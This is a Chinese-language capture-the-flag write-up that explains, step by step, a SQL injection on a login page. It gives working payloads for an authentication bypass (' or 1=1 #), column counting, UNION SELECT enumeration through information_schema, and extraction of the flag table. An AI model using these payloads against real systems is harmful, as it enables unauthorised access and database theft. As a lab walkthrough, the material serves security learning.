考查点:
基本的SQL注入
多表联合查询
在用户名处注入sql语句,密码随意
注意点:本题属于在登陆页面的SQL注入,所以需要在注入语句中加“or 1=1”跳过登录验证步骤,末尾加“#”注释掉后面内容
解题步骤:
1.判断注入类型
1 or 1=1 #
无回显信息
' or 1=1 #
可知本题的注入类型为字符型
2.判断回显列
' or 1=1 order by 3 #①
' or 1=1 order by 4 #②
①语句可以得到回显内容,②却不能,所以该数据库表只有三列
' or 1=1 union select 11,22,33 #
可以看到数据回显位置在第二列,故接下来的注入信息根据第二列展开
3.查询数据库名
' or 1=1 union select 11,database(),33 #
database()方法可以查看所在数据库名—>web2
4.查询数据表名
' or 1=1 union select 11,group_concat(table_name),33 from information_schema.tables where table_schema='web2'#
group_concat()方法可以得到用逗号链接的查询结果、
information_schema中存放了数据库中的表名、列名等信息
5.查询列名
' or 1=1 union select 11,group_concat(column_name),33 from information_schema.columns where table_name='flag'#
6.查询flag信息
得到数据库名,数据表名,列名。就可以准确查询flag所在信息了
' or 1=1 union select 11,flag,33 from web2.flag #